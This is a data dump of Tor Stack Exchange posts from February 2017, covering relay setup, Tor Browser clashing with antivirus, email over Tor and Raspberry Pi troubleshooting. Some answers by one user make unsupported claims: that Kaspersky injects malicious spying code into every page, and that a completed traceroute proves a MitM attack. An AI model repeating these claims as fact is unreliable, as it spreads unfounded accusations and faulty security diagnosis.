  <row Id="14007" PostTypeId="2" ParentId="14006" CreationDate="2017-02-10T21:18:31.437" Score="1" Body="&lt;p&gt;OONI makes a pre-defined test sets, the result you've got means that this list of censored domains was not checked in that particular run(s) that gave you these results. You can make your own tests and check the list you're interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: see the bottom of this page &lt;a href=&quot;https://explorer.ooni.torproject.org/about/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://explorer.ooni.torproject.org/about/&lt;/a&gt; =)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Special thanks to:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;the German Federal Foreign Office for funding OONI Explorer&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="14832" LastEditDate="2017-03-02T20:44:06.973" LastActivityDate="2017-03-02T20:44:06.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14008" PostTypeId="1" CreationDate="2017-02-11T02:34:09.663" Score="1" ViewCount="39" Body="&lt;p&gt;I have four servers with the following settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ORport DirPort &lt;br&gt;&#xA;9001   9030 &lt;br&gt;&#xA;22     9040 &lt;br&gt;&#xA;110    9050 &lt;br&gt;&#xA;143    9060 &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The machines running all as VMs on my private home server. They're not cloned but setted up identically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log on server 3 is saying dir and or port are reachable but I can not find it on tor atlas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log on server 4 is telling me received &quot;http status code 404 ( not found ) from server&quot; and it seems like I cannot start tor again. Not even a reboot of the VM makes tor write anything in the log again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server 1 and 2 are findable at tor atlas and works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what could have happened?&lt;/p&gt;&#xA;" OwnerUserId="16131" LastActivityDate="2017-02-12T14:35:41.827" Title="Can't get 2/4 servers run" Tags="|server-administration|server|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14009" PostTypeId="1" CreationDate="2017-02-11T09:15:38.533" Score="1" ViewCount="1337" Body="&lt;p&gt;I've a linux server with Postfix and I want to send emails from my server with TOR to clear email addresses like &quot;gmail&quot;, &quot;yahoo&quot;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I setup Postfix to send emails with TOR?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you explain me in details?&#xA;Thank you very much&lt;/p&gt;&#xA;" OwnerUserId="16232" LastActivityDate="2017-02-12T14:39:24.620" Title="How to send emails from my server with TOR?" Tags="|email|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14010" PostTypeId="1" CreationDate="2017-02-11T11:42:40.760" Score="1" ViewCount="2260" Body="&lt;p&gt;Malwarebytes antimalware has detected the file ...\Tor Browser\browser\firefox.exe with virus spyware.lokibot. I even made a new installation of Tor Browser from its official site, but upon finishing the installation, the firefox.exe file was detected as malware. The file is then moved to quarantene, and I am unable to open the Tor Browser, since the file is moved from each original location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody familiar with this malware infection on the Tor Browser firefox.exe file? Seems like the malware is already infected on the original installation.&lt;/p&gt;&#xA;" OwnerUserId="16233" LastActivityDate="2017-05-13T18:28:43.390" Title="Tor browser conflicts with Malwarebytes antimalware" Tags="|firefox|malware|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14014" PostTypeId="2" ParentId="14010" CreationDate="2017-02-11T12:52:27.627" Score="0" Body="&lt;p&gt;The only way I can open tor browser is to exit Malwarebytes, re-download tor browser and run firefox.exe, simple work around but not what I should be doing.&lt;/p&gt;&#xA;" OwnerUserId="16237" LastActivityDate="2017-02-11T12:52:27.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14015" PostTypeId="1" CreationDate="2017-02-11T14:39:10.323" Score="1" ViewCount="610" Body="&lt;p&gt;How can I hide the Tails software on my USB stick ? I have no idea to do so. I use it, but I'm no developper.&lt;/p&gt;&#xA;" OwnerUserId="16238" LastActivityDate="2017-02-12T15:01:15.443" Title="Hiding Tails on USB drive" Tags="|security|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14016" PostTypeId="1" AcceptedAnswerId="14019" CreationDate="2017-02-11T16:45:32.127" Score="1" ViewCount="439" Body="&lt;p&gt;What if any are the (dis)advantages - with respect to speed, anonymity, secrecy... - in using bridges and obfuscated transports from such places where access to plain Tor relays is &lt;em&gt;NOT&lt;/em&gt; blocked nor forbidden ? &#xA;Unrelated to that other question (#13575), I'm asking here for a comparison of using bridges (and optionally obfuscated transports) wrt connecting to a regular entry relay, &lt;em&gt;i.e.&lt;/em&gt; not a bridge.&lt;/p&gt;&#xA;" OwnerUserId="14493" LastEditorUserId="14493" LastEditDate="2017-02-11T19:05:04.083" LastActivityDate="2017-02-12T01:16:09.007" Title="(dis)advantages of using bridges &amp; transports where not strictly needed?" Tags="|anonymity|bridge|pluggable-transports|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14017" PostTypeId="1" CreationDate="2017-02-11T18:45:50.513" Score="1" ViewCount="6840" Body="&lt;p&gt;Newb question, but when I click on links to download files nothing happens. Is there a configuration or an action that I'm not taking? Basically trying to d/l files from The PB. What am i missing? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16241" LastActivityDate="2018-08-29T16:24:11.903" Title="How can I download files via Tor Browser?" Tags="|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14019" PostTypeId="2" ParentId="14016" CreationDate="2017-02-12T01:16:09.007" Score="1" Body="&lt;p&gt;Well, an advantage can be the lesser detectability of your connection/session. Disadvantage is that you must encomplicate the relay descriptor to flag the relay &quot;as the one using obfuscation&quot; and which one. It's a good research line, but in a plain context it's hardly useful&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-12T01:16:09.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14020" PostTypeId="1" CreationDate="2017-02-12T04:04:07.570" Score="2" ViewCount="39" Body="&lt;p&gt;After combining Tor to Firefox (as is an option, when you already have Tor downloaded) 'Tor' is no longer visible within &quot;programs&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, how does one 'remove' Tor from being a part of Firefox, thus, leaving it on its own terms, thus visible within your &quot;programs&quot; features?&lt;/p&gt;&#xA;" OwnerUserId="16246" LastActivityDate="2017-02-12T04:04:07.570" Title="After Combining Tor to Firefox" Tags="|firefox|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14022" PostTypeId="1" CreationDate="2017-02-12T09:18:38.583" Score="1" ViewCount="71" Body="&lt;p&gt;I want to use via tor an anonymus email traffic. What I have to do? or install?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for an answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="16252" LastActivityDate="2017-03-23T14:25:09.920" Title="How to use EMail traffic via tor" Tags="|anonymity|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14023" PostTypeId="1" CreationDate="2017-02-12T10:23:32.770" Score="2" ViewCount="384" Body="&lt;p&gt;i'm a new user and i'd like to connect #tor channel on oftc or hexchat &#xA;on oftc i get the message :   #tor Cannot join channel (+i)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on hexchat i gzr the message :   trazomtg a mis le mode +i sur trazomtg&#xA;* Impossible de rejoindre le canal #tor (Vous devez être invité)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what can i do?&#xA;regards&lt;/p&gt;&#xA;" OwnerUserId="16249" LastActivityDate="2017-02-12T18:17:21.513" Title="How to join #tor irc channel oftc?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14024" PostTypeId="1" CreationDate="2017-02-12T14:04:17.930" Score="1" ViewCount="130" Body="&lt;p&gt;Ah, i downloaded the tar version of Tor browser, made the start-tor-browser.desktop and others executable and run it. But it showed an error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor exited during startup. This might be due to an error in your torrc file, a bug in Tor or another program on your system, or faulty hardware. Until you fix the underlying problem and restart Tor, Tor Browser will not start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4Ry2c.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Ry2c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16255" LastActivityDate="2017-02-12T14:04:17.930" Title="This is about the tor version 6.2" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14025" PostTypeId="2" ParentId="14008" CreationDate="2017-02-12T14:35:41.827" Score="1" Body="&lt;p&gt;Yes, it's sad that it's not in the logs, but it is buried deep in the protocol mechanics. A brief guess is coming out of the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#EnforceDistinctSubnets&quot; rel=&quot;nofollow noreferrer&quot;&gt;EnforceDistinctSubnets&lt;/a&gt; directive description. To fix the case when you have just a single address use a VPN with unlimited traffic and static IP address like &lt;a href=&quot;https://www.privateinternetaccess.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; - as far as I remember they used to provide a static address with unlimited speed and traffic. Just set up an OpenVPN connection and use the &lt;code&gt;tun&lt;/code&gt; interface to bind to.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-12T14:35:41.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14026" PostTypeId="2" ParentId="14009" CreationDate="2017-02-12T14:39:24.620" Score="1" Body="&lt;p&gt;Hello and good time of the day! To avoid too-overcomplicated setups just use a routing via firewall for all the MTA(Postfix in your case) usernames to route them directly through Tor. The only delicate spot here is the DNS - use your own local BIND setup to resolve all the stuff - Tor does &lt;strong&gt;not&lt;/strong&gt; work with UDP, so it will fail to tunnel DNS requests via Tor too, and Tor's DNS backend is very limited in functionality, so it won't work for a mail server as it should(because Tor DNSPort is made for some different tasks).&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-12T14:39:24.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14027" PostTypeId="2" ParentId="14010" CreationDate="2017-02-12T14:55:46.983" Score="1" Body="&lt;p&gt;It can be sounding funny, but the very name of the program describes it's quality - it's a &lt;em&gt;malware&lt;/em&gt; bytes by itself :) But speaking seriously, after my experience in IT security, I can give you some advice in &lt;strong&gt;not&lt;/strong&gt; using these so-called &quot;anti-malware&quot; crapware :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Kaspersky Internet Security&lt;/strong&gt;/&lt;strong&gt;Kaspersky Crystal&lt;/strong&gt; and all the Kaspersky Labs crapstuff. It performs &lt;em&gt;undisableable&lt;/em&gt; HTTPS/SSL MitM - use a virtual machine, install the fully functional trial version and open the HTTPS site. Now check the certificate &lt;strong&gt;and&lt;/strong&gt; the HTTP code(like in Firebug in Firefox or in Chrome/Opera built-into-browser development tools) - you will see a malicious Javascript code from their server inserted forcibly in &lt;em&gt;every&lt;/em&gt; page to spy on you. And Mr. Kaspersky is an ex-KGB and FSB employee, so it should tell you enough&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;MalwareBytes&lt;/strong&gt; - just  a crap, disabling &lt;em&gt;lots&lt;/em&gt; of privacy tools. I can hardly beleive that this thing actually &lt;em&gt;fights&lt;/em&gt; malware, except e-icar maybe :)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;ESet NOD32&lt;/strong&gt; - a Rest-In-Peace for a &lt;em&gt;predecestor&lt;/em&gt;, a &lt;em&gt;very decent tool&lt;/em&gt; NOD32... This &quot;robo&quot; on the box seems to be missing a very important part properly installed: the Eyes. I had a very hard cases when tons of malware and viruses plagued the corporate network but the &quot;robo says it's all OK&quot;. If you have this one - deinstall it and run a full scan: an illusion of security is far more dangerous than lack of security, IMHO.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;AVG&lt;/strong&gt; - according to the quality of work of this tool I can make a guess that it was written and released the same day and it was precisely the first day after an Oktoberfest. It's more glitchy than useful and can give you a very &lt;em&gt;odd&lt;/em&gt; false positives about the websites: for one of mine it gave a &quot;malicious download&quot; red warning, but the website has no downloads on it. Period.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Symantec Antivirus&lt;/strong&gt;/&lt;strong&gt;Symantec 360-whatever-stuff&lt;/strong&gt; - a Rest-In-Peace for Peter Norton's Norton Antivirus - one of the best ones in earlier days.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-12T14:55:46.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14028" PostTypeId="2" ParentId="14015" CreationDate="2017-02-12T15:01:15.443" Score="2" Body="&lt;p&gt;If your USB stick is smart enough - yes. Make it a multipartitional one. If you are good with a soldering iron - make it yourself like &lt;a href=&quot;http://www.atmel.com/products/microcontrollers/avr/default.aspx?tab=documents&amp;amp;Asset_Type=020%20Application%20Note&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and you should add a button(with a pull resistor of course!) to expose or not the &quot;hidden&quot; partition. This button is better be well-concealed, or even implemented as a magnetic stealth switch inside the pendrive case.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-12T15:01:15.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14029" PostTypeId="2" ParentId="14017" CreationDate="2017-02-12T15:09:27.430" Score="1" Body="&lt;p&gt;The PB - a PirateBay - does &lt;strong&gt;not&lt;/strong&gt; have &lt;em&gt;any&lt;/em&gt; file on it - it has a &quot;magnet links&quot; for torrents, a bittorrent client must be integrated into any browser to handle them. But using torrents via Tor in a plain mode is not such a good idea - I'm almost finished my work on bringing torrents into a darknets - it only seems that you can use &quot;privacy mode&quot; and/or proxies specified in your torrent client: I know, I thought so myself. It is &lt;strong&gt;definitely NOT&lt;/strong&gt; that simple! A patches must be applied to many things to make it work properly. So if you want to run torrent inside Tor - I don't recommend you to do so. If you need Tor just to cherrypick a magnet links - just copy them to a Notepad and paste later into your torrent client. But don't run torrent in plain via Tor - you can contact me in Facebook(a profile link in my profile here) and I will alert you when I'll release the patched software set.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-12T15:09:27.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14030" PostTypeId="2" ParentId="13996" CreationDate="2017-02-12T15:16:07.593" Score="0" Body="&lt;p&gt;It looks like a SSL MitM attack on your ISP/firewall. Try using a Meek pluggable transports.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-12T15:16:07.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14031" PostTypeId="2" ParentId="13988" CreationDate="2017-02-12T15:21:45.027" Score="1" Body="&lt;p&gt;a fast-and-working way: open a terminal, state &lt;code&gt;sudo -s&lt;/code&gt; and become a root, then run &lt;code&gt;mc&lt;/code&gt; and go to the folder with your Tor install or with keys if you need just them in particular. Press F2 and &quot;compress folder into tar.bz2&quot; - you will have your full folder backup in a tarball one level higher =)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-12T15:21:45.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14032" PostTypeId="2" ParentId="13962" CreationDate="2017-02-12T15:30:30.860" Score="0" Body="&lt;p&gt;It seems that you have a very slow connection to the Tor directories, but it works - usually you need a bridges/pluggable transports when you have stuck on 10-15 percents in bootstrapping - and you have 85% done. Try to &quot;seed&quot; this Tor instance through another working connection - it will make a cache and it can help you. If you will add some more details about your case maybe I'll be able to give you a more detailed answer.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-12T15:30:30.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14034" PostTypeId="2" ParentId="14023" CreationDate="2017-02-12T18:17:21.513" Score="2" Body="&lt;p&gt;Nothing, the channel is closed temporarily due to abuse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wait until the +i is lifted, normally within a few hours or a few days.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-12T18:17:21.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14035" PostTypeId="1" CreationDate="2017-02-12T18:57:58.030" Score="1" ViewCount="131" Body="&lt;p&gt;i recently came up with this message when tried to run tor while vpn was running as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OS- osx &#xA;any clues if this has to do with man-in-the-middle attack or not?&#xA;see pic for log&lt;a href=&quot;https://i.stack.imgur.com/hxqkk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hxqkk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16257" LastActivityDate="2017-02-12T19:59:03.710" Title="Tor Error Log - non-control connections-any solution" Tags="|error|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14036" PostTypeId="2" ParentId="14035" CreationDate="2017-02-12T19:59:03.710" Score="1" Body="&lt;p&gt;The log you're showing can be MitM - and there's how to check it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make a &lt;code&gt;su&lt;/code&gt; to your Tor user&lt;/li&gt;&#xA;&lt;li&gt;do a traceroute to the 109.105.109.147 - or also to other IP's that are mentioned in that &lt;code&gt;Problem bootstrapping&lt;/code&gt; messages.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the trace(s) completes OK - then it is a MitM proven. If it's not - do &lt;code&gt;netstat -r&lt;/code&gt; and examine your routing table: many VPN's are setting itself as a default router, so it can be either a &quot;route table switch&quot; moment, but it should repair itself in time, or you may have a routing issue. Yes, some VPN's - especially in Russia - did the MitM attempt when using Tor through them when it was not violating their ToS. So the outcome of your test will show the truth.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-12T19:59:03.710" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="14038" PostTypeId="1" CreationDate="2017-02-12T21:47:07.270" Score="1" ViewCount="210" Body="&lt;p&gt;When I try to enter a chat room on Tor that I easily enter using any other regular browser I get the notification: Firefox can't establish a connection to the server at... is there a simple way I can get around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="16199" LastActivityDate="2017-09-12T11:50:55.223" Title="Unable to enter chat room" Tags="|firefox|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14039" PostTypeId="1" AcceptedAnswerId="14041" CreationDate="2017-02-13T00:28:42.717" Score="1" ViewCount="361" Body="&lt;p&gt;I think I messed up my router or my modem using Tor as a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This week, I decided to buy a new router and it fixed my problem, but the problem came back tonight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some websites are simply unaccessible. While I can browse the Web as usual, I can't load &lt;a href=&quot;http://uqam.ca/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://uqam.ca/&lt;/a&gt; and monoprice.com/. On Monoprice, I get an error 502.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My modem is a coaxial cable one... My ISP is Cogeco Canada.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My relay is a &lt;strong&gt;wired&lt;/strong&gt; Raspberry Pi 3 plugged on the same router I use to share my Internet with smartphones, laptop and wired desktops. The Raspberry Pi is dedicated to running Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few custom torrc lines I wrote:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SOCKSPort 0&#xA;ORPort 443&#xA;ExitPolicy reject *:*&#xA;ExitRelay 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16115" LastActivityDate="2017-02-13T03:25:08.323" Title="Can a Tor Relay break my Internet access?" Tags="|relays|troubleshooting|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14040" PostTypeId="2" ParentId="14039" CreationDate="2017-02-13T00:54:18.110" Score="0" Body="&lt;p&gt;No, the relay is not &quot;guilt&quot; in the internet issues: as far as I can see your torrc - it is not routing or proxifying your LAN devices. The only &lt;em&gt;possible&lt;/em&gt; problem can be a bandwidth being consumed all by the relay - but &quot;Error 502&quot; is a server-side error, Tor can not cause it. What you can do is to enable a traffic accounting by bandwidth, i.e. limit the speed of your Tor relay. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BandwidthRate 1024KBytes&#xA;BandwidthBurst 1024KBytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it will limit to one mega&lt;strong&gt;byte&lt;/strong&gt; per second, i.e. 8 mega&lt;strong&gt;bits&lt;/strong&gt; per second. Try these lines, but only if you have a poor and/or glitchy connection. Another rare reason may be the ridiculous fact when a websites are banning by ip all the Tor nodes, not just exits - but it's very rare. By the way - these websites are not opening for me as well from a different places including a datacenter-based VPS'es, so it's likely a websites remote problem&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-13T00:54:18.110" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14041" PostTypeId="2" ParentId="14039" CreationDate="2017-02-13T03:25:08.323" Score="2" Body="&lt;p&gt;Yes, it's possible that running a non-exit relay will result in your IP address being blacklisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, some sites which use those blacklists will deny you access to their site on the basis that you're on some blacklist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be easily checked by loading the site through another proxy service, some simple examples would be &lt;a href=&quot;https://translate.google.com/translate?sl=auto&amp;amp;tl=en&amp;amp;js=y&amp;amp;prev=_t&amp;amp;hl=en&amp;amp;ie=UTF-8&amp;amp;u=http%3A%2F%2Fuqam.ca&amp;amp;edit-text=&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Translate&lt;/a&gt;, &lt;a href=&quot;http://isup.me/uqam.ca&quot; rel=&quot;nofollow noreferrer&quot;&gt;isup.me&lt;/a&gt; or archiving a live copy of the site through &lt;a href=&quot;https://archive.fo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;an archive service&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shows the site to be live, but denying access from multiple exit points from the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-13T03:25:08.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14046" PostTypeId="1" CreationDate="2017-02-14T02:37:54.447" Score="2" ViewCount="636" Body="&lt;p&gt;I am having a problem setting up tor through virtual box and let me give you guys some details:&#xA;I have installed tor bundle on win xp that is installed on virtual box but when i am trying to activate tor bundle it won't connect, it will get stuck in the &quot;loading network status&quot; level.&#xA;I have malware anti bytes installed on the pc and norton anti virus.&#xA;malware antybytes will show me message when i am trying to connect to tor like :&quot;website blocked ip:61231 port&quot; i will get a few messages like this and it just won't connect to tor on guest os.&#xA;i tried to deactivate norton and malware antybytes but it still won't connect to tor.&#xA;What else shall i try?&lt;/p&gt;&#xA;" OwnerUserId="16272" LastActivityDate="2017-04-16T12:53:39.577" Title="Tor connection in guest OS is being blocked by unknown firewall At Host OS" Tags="|firewall|blocked|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14047" PostTypeId="2" ParentId="14046" CreationDate="2017-02-14T04:56:20.483" Score="1" Body="&lt;p&gt;Malwarebytes is blocking Tor - it's a known issue. If I got you right - you have two antiviruses on one PC, it's a bad idea nowdays: I remember 1994 - yes, then  it made some sense, but not now. Some network filtering is remaining when the AV is deactivated, and - if your host is also Windows - it can activate windows defender+firewall when disabling other antivirus... Use network bridge for your virtual machine - it should keep you out of trouble. And feel free to ask further if it will not work - together we will solve this, don't worry!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-14T04:56:20.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14048" PostTypeId="1" CreationDate="2017-02-14T05:47:38.400" Score="2" ViewCount="1137" Body="&lt;p&gt;I am Trying to troubleshoot Tor on Raspberry pi3 based on instructions at &lt;a href=&quot;https://learn.adafruit.com/onion-pi/install-tor.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://learn.adafruit.com/onion-pi/install-tor.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appear to be able to connect to the Wi-fi, but my IP does not seem to be changing. Output after Tor command is &lt;a href=&quot;https://docs.google.com/document/d/1WnEJ0xMPFUgqEqld8pQcgLMG19CY5wEmxiJCk_huF8k/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;here&quot;&gt;Here&lt;/a&gt;. I look into the torrc file and it is empty. I do not know where to find any more settings to help troubleshoot. Any ideas where to start?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pi@raspberrypi:~ $ tor&#xA;Feb 14 05:32:48.936 [notice] Tor v0.2.5.12 (git-6350e21f2de7272f) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.1t and Zlib 1.2.8.&#xA;Feb 14 05:32:48.936 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Feb 14 05:32:48.936 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Feb 14 05:32:48.945 [notice] You configured a non-loopback address '192.168.42.1:53' for DNSPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted.&#xA;Feb 14 05:32:48.945 [notice] You configured a non-loopback address '192.168.42.1:9040' for TransPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted.&#xA;Feb 14 05:32:48.947 [notice] You configured a non-loopback address '192.168.42.1:53' for DNSPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted.&#xA;Feb 14 05:32:48.947 [notice] You configured a non-loopback address '192.168.42.1:9040' for TransPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted.&#xA;Feb 14 05:32:48.947 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Feb 14 05:32:48.947 [warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&#xA;Feb 14 05:32:48.947 [notice] Opening DNS listener on 192.168.42.1:53&#xA;Feb 14 05:32:48.947 [warn] Could not bind to 192.168.42.1:53: Permission denied&#xA;Feb 14 05:32:48.947 [notice] Opening Transparent pf/netfilter listener on 192.168.42.1:9040&#xA;Feb 14 05:32:48.947 [warn] Could not bind to 192.168.42.1:9040: Address already in use. Is Tor already running?&#xA;Feb 14 05:32:48.947 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Feb 14 05:32:48.947 [err] Reading config failed--see warnings above.&#xA;pi@raspberrypi:~ $&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16274" LastEditorUserId="112" LastEditDate="2017-02-14T10:21:08.260" LastActivityDate="2017-02-15T01:41:01.907" Title="Trying to troubleshoot Tor on Raspberry pi3" Tags="|raspberry-pi|settings|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14049" PostTypeId="2" ParentId="14048" CreationDate="2017-02-14T10:23:00.927" Score="1" Body="&lt;p&gt;The guide tells you how to start tor through this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; sudo service tor start (or 'stop' to stop it if its already running)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your log output you see that you start it by just writing the 'tor' command as a non-root user.&#xA;This is most likely why it fails, because you need to be root to let tor access the network ports and bind to that (which you also see fails in the log output).&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2017-02-14T10:23:00.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
